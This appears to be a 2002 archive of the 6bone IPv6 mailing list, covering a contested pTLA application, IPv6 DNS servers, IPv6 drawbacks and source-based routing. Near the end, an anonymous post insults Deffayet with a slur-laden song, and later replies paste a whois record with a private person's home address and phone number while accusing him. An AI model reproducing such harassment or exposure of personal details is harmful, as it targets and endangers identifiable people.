Unfortunately its not a funded project.As i told in my previous email.
NGC is just trying to bring awareness of IPv6 to university
officials(sysadmins etc) and other individuals coming on irc #ipv6, #ngc
etc. We are doing it by our own with technical support from NDSOFTWARE /
Mr Deffayet.

> That is all very neat and I'm glad that you're doing active research in
> the v6 field.  None of it lends any more validity to the NDSOFTWARE pTLA
> application though.

ok, but the whole point to show  was that 'NDSOFTWARE is
supporting research based projects like NGC', this statement
can make a little impact on NDSOFTWARE pLTA request.

> "hello.  i want i should tunnel get from you ipv6 site for my friends and
> me."
>

No your guess is wrong :) I didn't write that !

> Contrary to popular belief, the folks who _work_ at Cisco, Motorola and
> Nokia don't get paid to solve the problems of NON-CUSTOMERS.  When they
> have the time to do so, and when presented with a detailed description of
> a problem which they have the resources to remedy, I find them to be more
> than willing to help.

so do you think are we differentiating between commercial technical
support and research oriented technical support here ? AFAIK, all those
companies have their research departments and the persons work there
should be different from those who provide technical support to company
CUSTOMERS.

> Are you available for hire as a political spokesperson?  Seriously.  You
> have a knack for spin that is only found in true polical pros.
>
> Has your university presented any type of OFFICIAL proposal to any of the
> companies you reference above?  Do you have any idea how many non-official
> proposals these companies get from individuals?
>

NGC is not this university project, I just want to deploy IPv6 here
through NGC. or should try demonstrate the worth of research in this
area to professors here.

> I certainly hope that you put more research into your thesis than you did
> into your arguement for approval of the NDSOFTWARE pTLA application.  Do
> yourself a favor and look back through this thread.  You will find pages
> and pages of "strong reasons in terms of RFC2772 to oppose the request."

Right, I read almost all threads on this issue, I found alot of posts
describing why they'r against it, they may be right in their opinions but
on the contrary, i also found Bob's email in which he thinks that the
request is fully RFC compliant.
http://mailman.isi.edu/pipermail/6bone/2002-October/006364.html

Take care
- basit



From tvo@EnterZone.Net Sat Oct 26 05:58:38 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Abdul Basit <basit@basit.cc>
cc: 6bone@mailman.isi.edu, tm@super.net.pk
Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October
 2002
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On Sat, 26 Oct 2002, Abdul Basit wrote:

> Right, I read almost all threads on this issue, I found alot of posts
> describing why they'r against it, they may be right in their opinions but
> on the contrary, i also found Bob's email in which he thinks that the
> request is fully RFC compliant.
> http://mailman.isi.edu/pipermail/6bone/2002-October/006364.html
> 
> Take care
> - basit


The _request_ is fully compliant - IE; It was formatted properly.  That
does not mean that NDSoftware maintains RFC2772 compliancy in its daily
operations.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From fink@es.net Sat Oct 26 07:53:55 2002
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To: John Fraizer <tvo@EnterZone.Net>, Abdul Basit <basit@basit.cc>
From: Bob Fink <fink@es.net>
Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23
  October 2002
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At 08:58 AM 10/26/2002 -0400, John Fraizer wrote:
>On Sat, 26 Oct 2002, Abdul Basit wrote:
>
> > Right, I read almost all threads on this issue, I found alot of posts
> > describing why they'r against it, they may be right in their opinions but
> > on the contrary, i also found Bob's email in which he thinks that the
> > request is fully RFC compliant.
> > http://mailman.isi.edu/pipermail/6bone/2002-October/006364.html
> >
> > Take care
> > - basit
>
>
>The _request_ is fully compliant - IE; It was formatted properly.  That
>does not mean that NDSoftware maintains RFC2772 compliancy in its daily
>operations.

It means that it was formatted properly and compliant in its answers to the 
intent of RFC2772's questions. It does not mean there are no other issues 
and facts to take into account. That's why we have a review.


Bob


From ck@ns1.arch.bellsouth.net Sat Oct 26 17:37:19 2002
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From: Christian Kuhtz <ck@arch.bellsouth.net>
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Subject: Re: [6bone] recursive DNS servers?
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ipv6 recursive name resolution can also be obtained 
from ns2.arch.bellsouth.net.


From rivero@el-mundo.net Sun Oct 27 01:14:55 2002
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On Sat, 26 Oct 2002, Christian Kuhtz wrote:

>
> ipv6 recursive name resolution can also be obtained
> from ns2.arch.bellsouth.net.
>

And from 2001:450:9:10::71 (imasd.ipv6.elmundo.es).

--
Raul Rivero       | Mundinteractivos - El Mundo |
Director Tecnico  | Pradillo, 42                |
rivero@elmundo.es | 28002 - Madrid (SPAIN, EU)  |
www.elmundo.es    | Tel: (+34) 915856018        |


From pasky@machine.sinus.cz Sun Oct 27 05:06:32 2002
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From: Petr Baudis <pasky@pasky.ji.cz>
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Subject: [6bone] Re:  recursive DNS servers?
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Dear diary, on Tue, Oct 22, 2002 at 05:17:34PM CEST, I got a letter,
where Bill Manning <bmanning@ISI.EDU> told me, that...
> a question came up recently that I could not answer.
> 
> 	how many recursive IPv6 transport aware DNS
> 	servers are there?

That brings another question on my mind..

When is at least one of the DNS root servers going to have some v6 connectivity
and an AAAA record? And, on whose this decision depends? Verisign? ICANN? ..?

(oh, and what's up with 3ffe::/16 ip6.arpafication? ;)

Kind regards,

-- 
 
				Petr "Pasky" Baudis
 
* ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI occassional hacker
.
Never argue with an idiot. They bring you down to their level and beat you
with experience.
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From tjc@ecs.soton.ac.uk Sun Oct 27 13:25:49 2002
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Date: Sun, 27 Oct 2002 21:25:36 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Abdul Basit <basit@basit.cc>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October 2002
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On Sat, Oct 26, 2002 at 10:25:21AM -0500, Abdul Basit wrote:
> 
>   I appolgize for being far away from main topic! but i'd just like to
> mention the real facts that being as a student one face when he/she try to
> do something and the officials / professors don't agree with him !
> 
>   This post has nothing to deal with Mr Deffayet's pTLA requests though.
> but infact i try to clear some issues about Mr Deffayet, as some person
> claims that  Mr Deffayet follow his own rules, I am speaking my behalf
> that i had no issue with him.

Hi Abdul,

I think this highlights problems faced by many individuals or groups seeking
to get IPv6 access.   In the general case, a tunnel broker with the 
associated protocol 41 hole is probably the best solution, so long as you
only need a single host connected, or at most a /48 (which Freenet6 will
I believe give).   If you need more than a /48 for a "student project", 
then you're asking for more address space than a whole university would
probably get, so you're in different territory :)

As you say, I2 is now much further advanced, being one of the first backbone
networks to move to dual-stack operation.

Tim

From alvaro.vives@consulintel.es Mon Oct 28 01:07:30 2002
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Subject: Re: [6bone] Re:  recursive DNS servers?
Date: Mon, 28 Oct 2002 10:11:42 +0100
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Hi Petr,

See something about this in:

http://www.viagenie.qc.ca/en/ipv6/dnsrs/index.shtml

The thing is that I've requested the IP of this v6 root server, but Viagenie
replied that the service is "not availabel at the moment"..."we are waiting
for the next phase of the testbed".

Is there any other root server accesible using v6? any TLD server?

Alvaro.
Consulintel.
----- Original Message -----
From: "Petr Baudis" <pasky@pasky.ji.cz>
To: "Bill Manning" <bmanning@ISI.EDU>
Cc: <6bone@ISI.EDU>
Sent: Sunday, October 27, 2002 2:06 PM
Subject: [6bone] Re: recursive DNS servers?


> Dear diary, on Tue, Oct 22, 2002 at 05:17:34PM CEST, I got a letter,
> where Bill Manning <bmanning@ISI.EDU> told me, that...
> > a question came up recently that I could not answer.
> >
> > how many recursive IPv6 transport aware DNS
> > servers are there?
>
> That brings another question on my mind..
>
> When is at least one of the DNS root servers going to have some v6
connectivity
> and an AAAA record? And, on whose this decision depends? Verisign? ICANN?
..?
>
> (oh, and what's up with 3ffe::/16 ip6.arpafication? ;)
>
> Kind regards,
>
> --
>
> Petr "Pasky" Baudis
>
> * ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
> * IRCnet operator                  * FreeCiv AI occassional hacker
> .
> Never argue with an idiot. They bring you down to their level and beat you
> with experience.
> .
> Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


***********************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Soon on line at:
http://www.ipv6-es.com
Interested in participating or sponsoring ?
Contact us at ipv6@consulintel.es



From bortzmeyer@nic.fr Mon Oct 28 01:34:47 2002
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To: Colin Faber <cfaber@fpsn.net>
Cc: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>,
   "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: [6bone] Reverse DNS with BIND and IPv6
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On Fri, Oct 25, 2002 at 02:39:08PM -0600,
 Colin Faber <cfaber@fpsn.net> wrote 
 a message of 39 lines which said:

> This system wasn't developed for the advanced user.  This system
> was developed for users knowing little or nothing about IPv6 arpa
> tables.

While I am skeptical about the existence of command-line-ignorant who
have to configure ip6.int tables, it is certainly *not* an help to
ordinary users to make them believe they should use ip6.int (and not
ip6.arpa).


From barce@frlp.utn.edu.ar Mon Oct 28 05:02:22 2002
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To: <6bone@ISI.EDU>
Date: Mon, 28 Oct 2002 10:01:58 -0300
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Subject: [6bone] IPv6 Drawbacks
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Hi,

  Having read a lot about IPv6 I cannot find big drawbacks in the IPv6 =
suite.
=20
  In your opinion, what are the main drawbacks do you think IPv6 faces?

Regards.
---
Ing. Carlos A. Barcenilla
Universidad Tecnol=F3gica Nacional F. R. La Plata - Argentina
Laboratorios de Ingenier=EDa en Sistemas de Informaci=F3n

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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3D"Courier New" size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>&nbsp; Having read a lot about =
IPv6 I=20
cannot find big&nbsp;drawbacks in the IPv6 suite.</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2>&nbsp;</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2>&nbsp; In your opinion, what =
are the main=20
drawbacks do you think IPv6 faces?</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>Regards.</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2>---<BR>Ing. Carlos A.=20
Barcenilla<BR>Universidad Tecnol=F3gica Nacional F. R. La Plata -=20
Argentina<BR>Laboratorios de Ingenier=EDa en Sistemas de=20
Informaci=F3n<BR></DIV></FONT></BODY></HTML>

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From bortzmeyer@nic.fr Mon Oct 28 05:59:20 2002
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From: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
To: Carlos Alberto Barcenilla <barce@frlp.utn.edu.ar>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 Drawbacks
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On Mon, Oct 28, 2002 at 10:01:58AM -0300,
 Carlos Alberto Barcenilla <barce@frlp.utn.edu.ar> wrote 
 a message of 55 lines which said:

>   Having read a lot about IPv6 I cannot find big drawbacks in the IPv6 suite.
>  
>   In your opinion, what are the main drawbacks do you think IPv6 faces?

School assignment, uh?

I agree to reply if you give your copy to the teacher with my name on
it :-)

Now, my two eurocents: the two main locks, IMHO, IANAL, YMMV, etc,
are:

* it is very difficult for an operator or provider to find a
commercial IPv6 upstream provider. This makes difficult to go from the
experiment (the 6bone) to the actual service (selling IPv6). This lock
cannot be broken by the ordinary IPv6 site, we must wait Worldcom or
MFN or Genuity.

* many applications are not written in an AF-independant way and
therefore do not run over IPv6. When they do, they often have
limitations. Even the software infrastructure is not complete (the
Linux kernel filtering system, Netfilter, for instance. Or DHCP
v6). Unlike the first one, this lock can be broken by the masses, with
many programmers patching, lobbying the maintainers, etc.


From bmanning@ISI.EDU Mon Oct 28 10:11:39 2002
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Subject: Re: [6bone] Re:  recursive DNS servers?
In-Reply-To: <01ae01c27e62$09ea4cc0$3300000a@consulintel.es> from Alvaro Vives at "Oct 28, 2 10:11:42 am"
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There is an IPv6 testbed that includes IPv6 enabled root and some TLDs.
At this time, v6 enabled TLDs are:

	NL, JP, MIL, INT, ARPA, COM, NET, ORG, with perhaps SE, and FR
	coming online soon. 

This testbed has been restricted to those who are willing to sign a 
release.  A simple request will get you the release form.  Or should
we just open this up for general use?


--bill

From eric@roxanne.org Mon Oct 28 11:54:51 2002
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Heya...

I'm going to agree here - sounds like an assignment so I'd like to be
in the foot-notes as well :)

> > Having read a lot about IPv6 I cannot find big drawbacks in the IPv6 
> > suite.
> >  
> > In your opinion, what are the main drawbacks do you think IPv6 faces?
> 
> School assignment, uh?
> 
> I agree to reply if you give your copy to the teacher with my name on
> it :-)

I'd add to the list the lack of a scalable multihoming solution (something 
being hotly debated).  IPv6 assumes that there is a hierarchy in the network
that is top-down.  Although this might have been true back in the early
90s, multihoming is an extremely common practice today and this doesn't
fit in well with the addressing design.  You can multihome today, but you
basically have to become a provider to do so.

Eric :)

From andree@wnet.bos.nl Mon Oct 28 13:12:56 2002
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Date: Mon, 28 Oct 2002 22:12:53 +0100
From: Andree Toonk <andree@bos.nl>
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Hi everyone,

I´ve got 2 connections to the 6bone (2 ipv6 in ipv4 tunnels).
This host acts like a router for other ipv6 hosts in my network.

I would like to implement source-based routing on this host.
So that the correct packets go to the correct tunnel.
This router-host is a linux (debian) system, with kernel 2.4.18.
Is there software available which can perform this?
In Ipv4 I could use the iproute2 package, but I´m not sure if this supports source-based routing in ipv6.
Are there alternative software packages for source-based routing in Linux? 

Thanks,
 Andree

-- 
Andree Toonk
http://vet.fnt.hvu.nl
andree@toonk.nl

From pim@ipng.nl Mon Oct 28 14:09:32 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Andree Toonk <andree@bos.nl>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] source-based routing
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On Mon, Oct 28, 2002 at 10:12:53PM +0100, Andree Toonk wrote:
| Hi everyone,
| 
| I´ve got 2 connections to the 6bone (2 ipv6 in ipv4 tunnels).
| This host acts like a router for other ipv6 hosts in my network.
| 
| I would like to implement source-based routing on this host.
| So that the correct packets go to the correct tunnel.
| This router-host is a linux (debian) system, with kernel 2.4.18.
| Is there software available which can perform this?
No.

| In Ipv4 I could use the iproute2 package, but I´m not sure if this 
| supports source-based routing in ipv6.
| Are there alternative software packages for source-based routing in Linux? 
No.

(and I don't know any unix OS that implements IPv6 source based (or other 
policy based) routing). Does anyone else have a clue here ?

My closest bet would be pf in the OpenBSD-current scene.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From cschnee@box.telemedia.ch Tue Oct 29 00:23:43 2002
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Pim van Pelt wrote:

> On Mon, Oct 28, 2002 at 10:12:53PM +0100, Andree Toonk wrote:
> | Hi everyone,
> |
> | I´ve got 2 connections to the 6bone (2 ipv6 in ipv4 tunnels).
> | This host acts like a router for other ipv6 hosts in my network.
> |
> | I would like to implement source-based routing on this host.
> | So that the correct packets go to the correct tunnel.
> | This router-host is a linux (debian) system, with kernel 2.4.18.
> | Is there software available which can perform this?
> No.
>
> | In Ipv4 I could use the iproute2 package, but I´m not sure if this
> | supports source-based routing in ipv6.
> | Are there alternative software packages for source-based routing in Linux?
> No.
>
> (and I don't know any unix OS that implements IPv6 source based (or other
> policy based) routing). Does anyone else have a clue here ?
>
> My closest bet would be pf in the OpenBSD-current scene.
>

FWIW, OpenBSD 3.2 with pf  (to be released on 1st Nov.) does this with ipv4, but
I haven't tested it with ipv6 yet.

See  pf.conf man page at
http://www.openbsd.org/cgi-bin/man.cgi?query=pf.conf&sektion=5&arch=i386&apropos=0&manpath=OpenBSD+Current

the section that will be most interesting for you is ROUTING. As mentioned I
haven't used it with ipv6 yet.
The route-to command is already present in 3.1 but I am unsure if this does
actually work with ipv6.

HTH,
Christoph Schneeberger
SCS TeleMedia AG


From alvaro.vives@consulintel.es Tue Oct 29 00:40:32 2002
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Hi,

To whom I have to make this request?

Could you tell me wich IPv6 testbed are you talking about?

It sounds interesting, but I would appreciate more info about this.

Regards,

A.
----- Original Message ----- 
From: "Bill Manning" <bmanning@ISI.EDU>
To: <alvaro.vives@consulintel.es>
Cc: <6bone@ISI.EDU>
Sent: Monday, October 28, 2002 7:11 PM
Subject: Re: [6bone] Re: recursive DNS servers?


> 
> 
> There is an IPv6 testbed that includes IPv6 enabled root and some TLDs.
> At this time, v6 enabled TLDs are:
> 
> NL, JP, MIL, INT, ARPA, COM, NET, ORG, with perhaps SE, and FR
> coming online soon. 
> 
> This testbed has been restricted to those who are willing to sign a 
> release.  A simple request will get you the release form.  Or should
> we just open this up for general use?
> 
> 
> --bill
> 


***********************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Soon on line at:
http://www.ipv6-es.com
Interested in participating or sponsoring ?
Contact us at ipv6@consulintel.es



From bortzmeyer@nic.fr Tue Oct 29 00:46:16 2002
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To: Bill Manning <bmanning@ISI.EDU>
Cc: alvaro.vives@consulintel.es, 6bone@ISI.EDU
Subject: Re: [6bone] Re:  recursive DNS servers?
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On Mon, Oct 28, 2002 at 10:11:33AM -0800,
 Bill Manning <bmanning@ISI.EDU> wrote 
 a message of 18 lines which said:

> This testbed has been restricted to those who are willing to sign a
> release.  A simple request will get you the release form.

I would be interested to read it.

> Or should we just open this up for general use?

IMHO, yes, it would be a very good idea. Specially since this testbed
tries other things than IPv6.

From bortzmeyer@nic.fr Tue Oct 29 00:51:31 2002
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From: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
To: Eric Gauthier <eric@roxanne.org>
Cc: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>,
   Carlos Alberto Barcenilla <barce@frlp.utn.edu.ar>, 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 Drawbacks
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On Mon, Oct 28, 2002 at 02:52:33PM -0500,
 Eric Gauthier <eric@roxanne.org> wrote 
 a message of 23 lines which said:

> I'd add to the list the lack of a scalable multihoming solution (something 
> being hotly debated).
...
>  You can multihome today, but you
> basically have to become a provider to do so.

In that respect, IPv6 is no different from IPv4. Either you are a LIR,
you have an AS, you have PI and you do BGP with your upstreams or you
rely on a funny variety of hacks (source routing and so on).


From morth@morth.org Tue Oct 29 01:55:25 2002
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Subject: Re: [6bone] source-based routing
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måndagen den 28 oktober 2002 kl 23.08 skrev Pim van Pelt:
>
> (and I don't know any unix OS that implements IPv6 source based (or 
> other
> policy based) routing). Does anyone else have a clue here ?
>
I haven't tried it, but it looks like ipf can do it with the fastroute 
option. It should work on gif at least where there's no link level 
address. So unless I'm mistaken that means FreeBSD and NetBSD (and 
perhaps OpenBSD as well?).
-- 
Pelle Johansson
<morth@morth.org>


From mcbride@countersiege.com Tue Oct 29 03:36:10 2002
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On Mon, Oct 28, 2002 at 10:12:53PM +0100, Andree Toonk wrote:
> I?ve got 2 connections to the 6bone (2 ipv6 in ipv4 tunnels).
> This host acts like a router for other ipv6 hosts in my network.
> 
> I would like to implement source-based routing on this host.
> So that the correct packets go to the correct tunnel.
> This router-host is a linux (debian) system, with kernel 2.4.18.
> Is there software available which can perform this?

The packet filter (pf) included in soon to be released OpenBSD 3.2 does
this.  In fact this functionality has been in place since 3.0, but
you're probably best off waiting 3 days for the fresh one.

-Ryan

-- 
Ryan T. McBride, CISSP - mcbride@countersiege.com
Countersiege Systems Corporation - http://www.countersiege.com
PGP key fingerprint = 8BA0 A58C 5038 9157 59C3  F9E6 6DDA 6611 BF4C 776B


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Subject: Re: [6bone] Re:  recursive DNS servers?
In-Reply-To: <00cc01c27f27$74458380$3300000a@consulintel.es> from Alvaro Vives at "Oct 29, 2 09:44:53 am"
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[Charset Windows-1252 unsupported, skipping...]

What is wanted here?


-- 
--bill

From bmanning@ISI.EDU Tue Oct 29 11:11:53 2002
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Subject: Re: [6bone] Re:  recursive DNS servers?
In-Reply-To: <20021029084611.GA16412@nic.fr> from Stephane Bortzmeyer at "Oct 29, 2 09:46:11 am"
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% > Or should we just open this up for general use?
% 
% IMHO, yes, it would be a very good idea. Specially since this testbed
% tries other things than IPv6.


	a page on this specific case will be released
	to this list late thsi week or early next.
	it will contain the release form and instructions
	on submiting it.

-- 
--bill

From nicothefaget105@hotmail.com Wed Oct 30 09:47:20 2002
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From: "Nico TheFaget" <nicothefaget105@hotmail.com>
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Date: Wed, 30 Oct 2002 18:47:15 +0100
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Subject: [6bone] About Deffayet's pTLA
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Young man, there's no need to feel dumb
I said, young man, just look at the faget,
you can see that, it's so hard to be worse,
there is still, one, dumber, elsewhere


Young man, stop plugging your Ciscos,
I said, young man, stop mailing the 6bone,
I said, young man, cuz everyone is bored,
Get a life, cuz you're some dickhead


It's fun to see you without p-T-L-A !
It's fun to see you without p-T-L-A !


You look like a dumbass, everyone's mocking you,
You do not even have one friend ...


It's fun to see you without p-T-L-A !
It's fun to see you without p-T-L-A !


You're some paranoid, you cannot see the truth,
That you'd better go to school ...



_________________________________________________________________
MSN Search, le moteur de recherche qui pense comme vous ! 
http://search.msn.fr/worldwide.asp


From uriah_pollock@mentorg.com Wed Oct 30 10:06:38 2002
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this format, some or all of this message may not be legible.

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test

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<META content="MSHTML 5.50.4915.500" name=GENERATOR></HEAD>
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From tvo@EnterZone.Net Wed Oct 30 10:34:28 2002
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 7  so0-0-0-622M.ar2.CDG2.gblx.net (62.24.34.74)  112.285 ms  112.120 ms  112.546 ms
 8  Nerim.so-0-2-2.ar2.CDG2.gblx.net (208.51.239.198)  113.255 ms  113.788 ms  114.391 ms
 9  feth0-0-lns101-tip-telehouse.nerim.net (62.4.16.21)  171.239 ms  170.854 ms  170.290 ms
10  myrtille.irvinig.org (62.4.22.131)  236.541 ms  234.660 ms  235.470 ms


> sh ip bgp 62.4.22.131
BGP routing table entry for 62.4.16.0/21
Paths: (1 available, best #1, table Default-IP-Routing-Table)
  Not advertised to any peer
  6259 3549 13193



ipv6-site:    NERIM
origin:       AS13193
descr:        Nerim -- xDSL Internet Provider
contact:      XH1-6BONE
contact:      RB9-NERIM
mnt-by:       MNT-NERIM
changed:      henner@nerim.net 20020129
source:       6BONE

person:       Xavier Henner
address:      Nerim
address:      Paris, France
phone:        +33 144820717
e-mail:       henner@nerim.net
nic-hdl:      XH1-6BONE
url:          http://www.nerim.net/
notify:       henner@nerim.net
mnt-by:       MNT-NERIM
changed:      henner@nerim.net 20020129
source:       6BONE




The least you can do if you're going to make childish posts like the one I'm replying to is
NOT try to hide behind the thin veil of a Hotmail account.  Any network admin worth their
weight in dung can trace you back to the source in less than 1 minute, as I have done above.



---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |




From raphit@sveren.raphit.net Wed Oct 30 11:15:02 2002
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Date: Wed, 30 Oct 2002 20:14:00 +0100
From: Raphael Bouaziz <raphit@noemie.org>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] About Deffayet's pTLA
Message-ID: <20021030201400.A36873@noemie.org>
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On Wed, Oct 30, 2002, John Fraizer wrote:
> 10  myrtille.irvinig.org (62.4.22.131)  236.541 ms  234.660 ms  235.470 ms

This customer has been warned, I apologize for the off-topic mess on
the mailing-list.

-- 
Raphael Bouaziz.
raphit@noemie.org - http://noemie.nerim.net/
Sysadmin Power Forever(TM).

From tvo@EnterZone.Net Wed Oct 30 11:37:56 2002
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---------- Forwarded message ----------
Date: 30 Oct 2002 19:46:58 +0100
From: Irvin Probst <irvin@irvinig.org>
To: tvo@EnterZone.Net
Subject: About 6Bone

Hi,
As the owner of the computer used for the email sent to the 6bone about
Mister Deffayet I just want to say that before this email there were 21
accounts on this computer. Now the are 20 accounts.
I won't say who made this, but can you please specify on the mailing
list that i am *not* the author of this email ? Mr Deffayet is getting
enough on my nerves right now, I just don't want to have more issues
with him.
Thank you.

-- 
Irvin Probst


From nicolas.deffayet@ndsoftware.net Wed Oct 30 11:48:36 2002
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Subject: Re: [6bone] About Deffayet's pTLA
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: 6bone@ISI.EDU
In-Reply-To: 
	<Pine.LNX.4.21.0210301328580.21096-100000@Overkill.EnterZone.Net>
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Date: 30 Oct 2002 20:48:57 +0100
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On Wed, 2002-10-30 at 19:34, John Fraizer wrote:
> 
> Return-Path: <6bone-admin@mailman.isi.edu>
> Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
> 	by Overkill.EnterZone.Net (8.11.0/8.11.0) with ESMTP id g9UIETq22181
> 	for <tvo@enterzone.net>; Wed, 30 Oct 2002 13:14:30 -0500
> Received: from gamma.isi.edu (localhost [127.0.0.1])
> 	by gamma.isi.edu (8.11.6/8.11.2) with ESMTP id g9UHoED28392;
> 	Wed, 30 Oct 2002 09:50:14 -0800 (PST)
> Received: from hotmail.com (f22.law10.hotmail.com [64.4.15.22])
> 	by gamma.isi.edu (8.11.6/8.11.2) with ESMTP id g9UHlKD27441
> 	for <6bone@mailman.isi.edu>; Wed, 30 Oct 2002 09:47:20 -0800 (PST)
> Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
> 	 Wed, 30 Oct 2002 09:47:15 -0800
> Received: from 62.4.22.131 by lw10fd.law10.hotmail.msn.com with HTTP;
> 	Wed, 30 Oct 2002 17:47:15 GMT
> X-Originating-IP: [62.4.22.131]
> From: "Nico TheFaget" <nicothefaget105@hotmail.com>
> To: 6bone@mailman.isi.edu
> Mime-Version: 1.0
> 
> 
>  7  so0-0-0-622M.ar2.CDG2.gblx.net (62.24.34.74)  112.285 ms  112.120 ms  112.546 ms
>  8  Nerim.so-0-2-2.ar2.CDG2.gblx.net (208.51.239.198)  113.255 ms  113.788 ms  114.391 ms
>  9  feth0-0-lns101-tip-telehouse.nerim.net (62.4.16.21)  171.239 ms  170.854 ms  170.290 ms
> 10  myrtille.irvinig.org (62.4.22.131)  236.541 ms  234.660 ms  235.470 ms

You can add too:

$ whois irvinig.org

Whois Server Version 1.3

Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Domain Name: IRVINIG.ORG
   Registrar: GANDI
   Whois Server: whois.gandi.net
   Referral URL: http://www.gandi.net
   Name Server: MARIDIA.NERIM.NET
   Name Server: MIRANDA.IRVINIG.ORG
   Updated Date: 01-dec-2001


>>> Last update of whois database: Wed, 30 Oct 2002 04:58:42 EST <<<

The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.


Found crsnic referral to whois.gandi.net.

% GANDI Registrar whois database for .COM, .NET, .ORG.
%
% Access and use restricted pursuant to French law on personal data.
% Copy of whole or part of the data without permission from GANDI
% is strictly forbidden.
% The sole owner of a domain is the entity described in the relevant
% 'domain:' record.
% Domain ownership disputes should be settled using ICANN's Uniform
Dispute
% Resolution Policy: http://www.icann.org/udrp/udrp.htm
%
% Acces et utilisation soumis a la legislation francaise sur
% les donnees personnelles.
% Copie de tout ou partie de la base interdite sans autorisation de
GANDI.
% Le possesseur d'un domaine est l'entite decrite dans
% l'enregistrement 'domain:' correspondant.
% Un desaccord sur la possession d'un nom de domaine peut etre resolu
% en suivant la Uniform Dispute Resolution Policy de l'ICANN:
% http://www.icann.org/udrp/udrp.htm
%
% Date: 2002/10/30 20:46:42


domain:         irvinig.org
owner-address:  Irvin Probst
owner-address:  2, rue Saint Saëns
owner-address:  29000
owner-address:  Brest
owner-address:  France
admin-c:        IP30-GANDI
tech-c:         IP30-GANDI
bill-c:         IP30-GANDI
nserver:        miranda.irvinig.org 62.4.22.250
nserver:        maridia.nerim.net 62.4.16.70
reg_created:    2001-02-01 06:55:01
expires:        2004-02-01 06:55:01
created:        2001-02-01 12:55:02
changed:        2001-12-01 11:33:52

person:         Irvin Probst
nic-hdl:        IP30-GANDI
address:        2 rue François Verny
address:        29806
address:        Brest
address:        France
phone:          0298436749
e-mail:         irvin@linuxfr.org



From nicolas.deffayet@ndsoftware.net Wed Oct 30 12:25:25 2002
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Subject: Re: [6bone] About 6Bone (fwd)
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6bone@ISI.EDU, irvin@irvinig.org
In-Reply-To: 
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On Wed, 2002-10-30 at 20:37, John Fraizer wrote:
> 
> 
> ---------- Forwarded message ----------
> Date: 30 Oct 2002 19:46:58 +0100
> From: Irvin Probst <irvin@irvinig.org>
> To: tvo@EnterZone.Net
> Subject: About 6Bone
> 
> Hi,
> As the owner of the computer used for the email sent to the 6bone about
> Mister Deffayet I just want to say that before this email there were 21
> accounts on this computer. Now the are 20 accounts.
> I won't say who made this, but can you please specify on the mailing
> list that i am *not* the author of this email ? Mr Deffayet is getting
> enough on my nerves right now, I just don't want to have more issues
> with him.
> Thank you.
> 
> -- 
> Irvin Probst

Irvin Probst is the responsible of 62.4.22.131, he must prove that he is
not the author.
It's too easy for him to say that he is not the author... 


From tvo@EnterZone.Net Wed Oct 30 12:46:49 2002
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Date: Wed, 30 Oct 2002 15:46:45 -0500 (EST)
From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6bone@ISI.EDU, irvin@irvinig.org
Subject: Re: [6bone] About 6Bone (fwd)
In-Reply-To: <1036009529.636.539.camel@wks1.fr.corp.ndsoftware.com>
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On 30 Oct 2002, Nicolas DEFFAYET wrote:

> On Wed, 2002-10-30 at 20:37, John Fraizer wrote:
> > 
> > To: tvo@EnterZone.Net
> > Subject: About 6Bone
> > 
> > Hi,
> > As the owner of the computer used for the email sent to the 6bone about
> > Mister Deffayet I just want to say that before this email there were 21
> > accounts on this computer. Now the are 20 accounts.
> > I won't say who made this, but can you please specify on the mailing
> > list that i am *not* the author of this email ? Mr Deffayet is getting
> > enough on my nerves right now, I just don't want to have more issues
> > with him.
